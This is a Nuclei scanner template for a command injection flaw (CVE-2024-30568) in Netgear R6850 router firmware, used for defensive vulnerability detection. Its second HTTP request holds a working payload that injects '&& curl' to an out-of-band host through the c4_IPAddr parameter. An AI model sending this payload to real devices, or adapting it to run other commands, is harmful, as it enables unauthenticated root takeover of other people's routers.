Netgear R6850 V1.1.0.88 - Command Injection

id: CVE-2024-30568

info:
  name: Netgear R6850 V1.1.0.88 - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    Netgear R6850 router firmware version V1.1.0.88 suffers from a command injection vulnerability in the ping_test functionality. An unauthenticated attacker can inject arbitrary system commands through the c4_IPAddr parameter, resulting in remote code execution as root.
  impact: |
    Attackers can execute arbitrary commands on the router, leading to complete device compromise.
  remediation: |
    Update Netgear R6850 firmware to a version that patches the command injection vulnerability.
  reference:
    - https://github.com/funny-mud-peee/IoT-vuls/blob/main/netgear%20R6850/Netgear-R6850%20V1.1.0.88%20Command%20Injection(ping_test).md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30568
    - https://www.netgear.com/about/security/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-30568
    cwe-id: CWE-94
    epss-score: 0.47197
    epss-percentile: 0.98694
  metadata:
    verified: true
    max-request: 1
    product: Netgear R6850 Router
    vendor: Netgear
    version: V1.1.0.88
    fofa-query: app="NETGEAR" && "R6850"
  tags: cve,cve2024,cve2024-30568,netgear,router,rce,oast,iot,rce,command-injection,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: response
        words:
          - "netgear"
        case-insensitive: true
        internal: true

  - raw:
      - |
        POST /setup.cgi?id=0&sp=1337 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        todo=ping_test&c4_IPAddr=127.0.0.1 && curl {{interactsh-url}}&next_file=diagping.htm

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200456ec3a4677942e8b2d7daf112426f51e6431e7fb915905c36dcec7aabfff42022100896f57a678a14b1b772a373f47d0c8a781a2f41f2266275a8f0ab1396d539da1:922c64590222798bb761d5b6d8e72950